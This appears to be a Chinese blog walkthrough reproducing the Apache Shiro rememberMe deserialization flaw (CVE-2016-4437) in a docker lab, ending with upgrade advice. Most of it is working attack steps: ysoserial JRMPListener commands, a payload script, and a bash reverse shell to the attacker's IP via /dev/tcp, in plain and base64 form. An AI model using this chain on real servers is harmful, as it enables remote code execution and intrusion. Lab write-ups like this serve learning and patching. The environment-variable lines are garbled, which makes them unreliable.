漏洞复现:CVE-2016-4437 Apache Shiro 反序列化

我们首先要知道什么是反序列化呢漏洞呢?

在这里不做解释,建议大家查看反序列化漏洞原理

什么是Shiro?
漏洞复现:CVE-2016-4437 Apache Shiro 反序列化_第1张图片
shiro默认使用CookieRememberMeManager,对rememberMe的cookie做了加密处理,在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、AES加密、Base64编码操作。服务器端识别身份解密处理cookie的流程则是:

(1)获取rememberMe cookie

(2)base64 解码

(3)AES解密(加密密钥硬编码)

(4)反序列化(未作过滤处理)

但是AES加密的密钥Key被硬编码(密钥初始就被定义好不能动态改变的)在代码里,这就意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终就造成了反序列化的RCE漏洞。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都可能会导致该漏洞的产生。

漏洞影响版本:
Apache Shiro <= 1.2.4

二、漏洞环境搭建

1、Centos7 192.168.1.100 服务器

2、Kali 192.168.1.103 攻击机

首先在服务器上通过docker来搭建Apac
首先要在Centos7上安装docker建议大家按照这位大佬的教程Centos7上安装docker。我是走了很多弯路,都是泪啊

首先在服务器上通过docker来搭建Apache Shiro的环境
获取docker镜像
docker pull medicean/vulapps:s_shiro_1
漏洞复现:CVE-2016-4437 Apache Shiro 反序列化_第2张图片
重启docker
systemctl restart docker
启动docker镜像:
docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
漏洞复现:CVE-2016-4437 Apache Shiro 反序列化_第3张图片
访问:http://192.168.91.129:8081/ 测试环境是否搭建成功
漏洞复现:CVE-2016-4437 Apache Shiro 反序列化_第4张图片
真机访问的时候别忘了,他contos的8081端口放行!

接下来就是准备攻击机的环境了
安装java环境。我看到kali自带的是openjdk
在这里插入图片描述我们先卸载在安装 Oracle jdk
用apt-get remove openjdk* 命令卸载
mkdir /usr/local/java/
tar -zxvf jdk-8u251-linux-x64.tar.gz -C /usr/local/java/

vim /etc/profile 在底部添加环境配置
export JAVA_HOME=/usr/local/java/jdk1.8.0_251
export JRE_HOME= J A V A H O M E / j r e e x p o r t C L A S S P A T H = . : {JAVA_HOME}/jre export CLASSPATH=.: JAVAHOME/jreexportCLASSPATH=.:{JAVA_HOME}/lib: J R E H O M E / l i b e x p o r t P A T H = {JRE_HOME}/lib export PATH= JREHOME/libexportPATH={JAVA_HOME}/bin:$PATH
保存完成之后
source /etc/profile 使环境变量生效

ln -s /usr/local/java/jdk1.8.0_251/bin/java /usr/bin/java 添加软链接
java -version 检查是否安装成功
漏洞复现:CVE-2016-4437 Apache Shiro 反序列化_第5张图片
安装mvn

wget http://mirrors.hust.edu.cn/apache/maven/maven-3/3.3.9/binaries/apache-maven-3.3.9-bin.tar.gz
tar -xvf apache-maven-3.3.9-bin.tar.gz
漏洞复现:CVE-2016-4437 Apache Shiro 反序列化_第6张图片
mv -f apache-maven-3.3.9 /usr/local/
vim /etc/profile 配置环境变量,在底部添加如下配置
export MAVEN_HOME=/usr/local/apache-maven-3.3.9
export PATH=${PATH}: ${MAVEN_HOME}/bin
source /etc/profile 重载环境变量

mvn -v 检查是否安装成功
漏洞复现:CVE-2016-4437 Apache Shiro 反序列化_第7张图片
获取复现需要用到的ysoserial工具
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests
漏洞复现:CVE-2016-4437 Apache Shiro 反序列化_第8张图片
这里要等好久请耐心等待
漏洞复现

访问URL并通过burp抓包,判断环境是否存在shiro。查看返回包中Set-Cookie中是否存在rememberMe=deleteMe字段
漏洞复现:CVE-2016-4437 Apache Shiro 反序列化_第9张图片
这里要记得勾选Remember Me选项。然后进行抓包
漏洞复现:CVE-2016-4437 Apache Shiro 反序列化_第10张图片
因为漏洞复现最终的目的是想要获取服务器的shell,所以这里的bash命令是”bash -i >& /dev/tcp/192.168.91.131/6666 0>&1”。编码显示如下:
漏洞复现:CVE-2016-4437 Apache Shiro 反序列化_第11张图片
配置bash编码(地址:http://www.jackson-t.ca/runtime-exec-payloads.html)。
最终在攻击机上执行的命令如下:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAzLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}”
漏洞复现:CVE-2016-4437 Apache Shiro 反序列化_第12张图片
接下来就是使用exp.py生成payload(需要python2的环境),命令如下:

python2 exp.py 192.168.1.103:1099 //攻击机的ip地址和java监听端口
我用的是kali自带的python环境
漏洞复现:CVE-2016-4437 Apache Shiro 反序列化_第13张图片
然后在攻击机监听6666端口,等待shell反弹
漏洞复现:CVE-2016-4437 Apache Shiro 反序列化_第14张图片
最后在burp抓取的数据包中的cookie字段内添加刚生成的payload,然后将数据包放行
漏洞复现:CVE-2016-4437 Apache Shiro 反序列化_第15张图片
数据包发送之后查看攻击机中java监听接口和nc监听端口结果显示如下
漏洞复现:CVE-2016-4437 Apache Shiro 反序列化_第16张图片
漏洞复现:CVE-2016-4437 Apache Shiro 反序列化_第17张图片
可以看到服务器的shell已经反弹到了攻击机上。可能有的会奇怪为什么这里反弹回来的shell的名字这么奇怪,那是因为我们复现环境的时候用的是docker,所以会创建一个以CONTAINER ID命名的账户
漏洞复现:CVE-2016-4437 Apache Shiro 反序列化_第18张图片
对比一下就会发现两者是一模一样的。在复现过程中还有一个值得注意的问题就是不管使用虚拟机来复现还是用公网vps复现,在监听java端口和监听shell反弹端口时都要放行所监听的端口,不然很容易造成所有流程正常而无法反弹shell的问题。

漏洞修复方法
升级shiro版本到1.2.5及以上,并且不要使用一些已经被公开的密钥,要利用官方提供的方法生成自己的AES加密密钥。

总结:一路走来遇到好多坑,终于出结果了,哈哈。工具包链接放在评论区了(ps:期间环境出了点问题所以窗口有点变化)

你可能感兴趣的:(漏洞复现)